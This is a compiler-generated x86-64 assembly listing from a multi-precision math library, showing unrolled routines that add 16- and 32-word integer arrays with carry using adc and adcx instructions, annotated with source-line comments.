; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+48]
mov QWORD PTR [r9+48], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2080 : c = _ADD_UNIT(c, xp[7], yp[7], &zp[7]);
mov rax, QWORD PTR [rdx+56]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+56]
mov QWORD PTR [r9+56], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2081 : c = _ADD_UNIT(c, xp[8], yp[8], &zp[8]);
mov rax, QWORD PTR [rdx+64]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+64]
mov QWORD PTR [r9+64], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2082 : c = _ADD_UNIT(c, xp[9], yp[9], &zp[9]);
mov rax, QWORD PTR [rdx+72]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+72]
mov QWORD PTR [r9+72], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2083 : c = _ADD_UNIT(c, xp[10], yp[10], &zp[10]);
mov rax, QWORD PTR [rdx+80]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+80]
mov QWORD PTR [r9+80], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2084 : c = _ADD_UNIT(c, xp[11], yp[11], &zp[11]);
mov rax, QWORD PTR [rdx+88]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+88]
mov QWORD PTR [r9+88], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2085 : c = _ADD_UNIT(c, xp[12], yp[12], &zp[12]);
mov rax, QWORD PTR [rdx+96]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+96]
mov QWORD PTR [r9+96], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2086 : c = _ADD_UNIT(c, xp[13], yp[13], &zp[13]);
mov rax, QWORD PTR [rdx+104]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+104]
mov QWORD PTR [r9+104], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2087 : c = _ADD_UNIT(c, xp[14], yp[14], &zp[14]);
mov rax, QWORD PTR [rdx+112]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+112]
mov QWORD PTR [r9+112], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2088 : c = _ADD_UNIT(c, xp[15], yp[15], &zp[15]);
mov rcx, QWORD PTR [rdx+120]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rcx, QWORD PTR [r8+120]
mov QWORD PTR [r9+120], rcx
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2209 : }
ret 0
_ADD_16WORDS_ADC ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; COMDAT _ADD_32WORDS_ADCX
_TEXT SEGMENT
c$ = 8
xp$ = 16
yp$ = 24
zp$ = 32
_ADD_32WORDS_ADCX PROC ; COMDAT
; 301 : #ifdef _MSC_VER
; 302 : c = _ADDX_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
add cl, -1
adcx rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 303 : c = _ADDX_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 304 : c = _ADDX_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [rdx+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 305 : c = _ADDX_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [rdx+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+24]
mov QWORD PTR [r9+24], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 306 : c = _ADDX_UNIT(c, xp[4], yp[4], &zp[4]);
mov rax, QWORD PTR [rdx+32]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+32]
mov QWORD PTR [r9+32], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 307 : c = _ADDX_UNIT(c, xp[5], yp[5], &zp[5]);
mov rax, QWORD PTR [rdx+40]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+40]
mov QWORD PTR [r9+40], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 308 : c = _ADDX_UNIT(c, xp[6], yp[6], &zp[6]);
mov rax, QWORD PTR [rdx+48]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+48]
mov QWORD PTR [r9+48], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 309 : c = _ADDX_UNIT(c, xp[7], yp[7], &zp[7]);
mov rax, QWORD PTR [rdx+56]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+56]
mov QWORD PTR [r9+56], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 310 : c = _ADDX_UNIT(c, xp[8], yp[8], &zp[8]);
mov rax, QWORD PTR [rdx+64]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+64]
mov QWORD PTR [r9+64], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 311 : c = _ADDX_UNIT(c, xp[9], yp[9], &zp[9]);
mov rax, QWORD PTR [rdx+72]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+72]
mov QWORD PTR [r9+72], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 312 : c = _ADDX_UNIT(c, xp[10], yp[10], &zp[10]);
mov rax, QWORD PTR [rdx+80]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+80]
mov QWORD PTR [r9+80], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 313 : c = _ADDX_UNIT(c, xp[11], yp[11], &zp[11]);
mov rax, QWORD PTR [rdx+88]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+88]
mov QWORD PTR [r9+88], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 314 : c = _ADDX_UNIT(c, xp[12], yp[12], &zp[12]);
mov rax, QWORD PTR [rdx+96]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+96]
mov QWORD PTR [r9+96], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 315 : c = _ADDX_UNIT(c, xp[13], yp[13], &zp[13]);
mov rax, QWORD PTR [rdx+104]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+104]
mov QWORD PTR [r9+104], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 316 : c = _ADDX_UNIT(c, xp[14], yp[14], &zp[14]);
mov rax, QWORD PTR [rdx+112]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+112]
mov QWORD PTR [r9+112], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 317 : c = _ADDX_UNIT(c, xp[15], yp[15], &zp[15]);
mov rax, QWORD PTR [rdx+120]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+120]
mov QWORD PTR [r9+120], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 318 : c = _ADDX_UNIT(c, xp[16], yp[16], &zp[16]);
mov rax, QWORD PTR [rdx+128]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+128]
mov QWORD PTR [r9+128], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 319 : c = _ADDX_UNIT(c, xp[17], yp[17], &zp[17]);
mov rax, QWORD PTR [rdx+136]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+136]
mov QWORD PTR [r9+136], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 320 : c = _ADDX_UNIT(c, xp[18], yp[18], &zp[18]);
mov rax, QWORD PTR [rdx+144]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+144]
mov QWORD PTR [r9+144], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 321 : c = _ADDX_UNIT(c, xp[19], yp[19], &zp[19]);
mov rax, QWORD PTR [rdx+152]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+152]
mov QWORD PTR [r9+152], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 322 : c = _ADDX_UNIT(c, xp[20], yp[20], &zp[20]);
mov rax, QWORD PTR [rdx+160]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+160]
mov QWORD PTR [r9+160], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 323 : c = _ADDX_UNIT(c, xp[21], yp[21], &zp[21]);
mov rax, QWORD PTR [rdx+168]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+168]
mov QWORD PTR [r9+168], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 324 : c = _ADDX_UNIT(c, xp[22], yp[22], &zp[22]);
mov rax, QWORD PTR [rdx+176]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+176]
mov QWORD PTR [r9+176], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 325 : c = _ADDX_UNIT(c, xp[23], yp[23], &zp[23]);
mov rax, QWORD PTR [rdx+184]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+184]
mov QWORD PTR [r9+184], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 326 : c = _ADDX_UNIT(c, xp[24], yp[24], &zp[24]);
mov rax, QWORD PTR [rdx+192]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+192]
mov QWORD PTR [r9+192], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 327 : c = _ADDX_UNIT(c, xp[25], yp[25], &zp[25]);
mov rax, QWORD PTR [rdx+200]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+200]
mov QWORD PTR [r9+200], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 328 : c = _ADDX_UNIT(c, xp[26], yp[26], &zp[26]);
mov rax, QWORD PTR [rdx+208]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+208]
mov QWORD PTR [r9+208], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 329 : c = _ADDX_UNIT(c, xp[27], yp[27], &zp[27]);
mov rax, QWORD PTR [rdx+216]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+216]
mov QWORD PTR [r9+216], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 330 : c = _ADDX_UNIT(c, xp[28], yp[28], &zp[28]);
mov rax, QWORD PTR [rdx+224]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+224]
mov QWORD PTR [r9+224], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 331 : c = _ADDX_UNIT(c, xp[29], yp[29], &zp[29]);
mov rax, QWORD PTR [rdx+232]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+232]
mov QWORD PTR [r9+232], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 332 : c = _ADDX_UNIT(c, xp[30], yp[30], &zp[30]);
mov rax, QWORD PTR [rdx+240]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+240]
mov QWORD PTR [r9+240], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 333 : c = _ADDX_UNIT(c, xp[31], yp[31], &zp[31]);
mov rcx, QWORD PTR [rdx+248]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rcx, QWORD PTR [r8+248]
mov QWORD PTR [r9+248], rcx
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 550 : }
ret 0
_ADD_32WORDS_ADCX ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
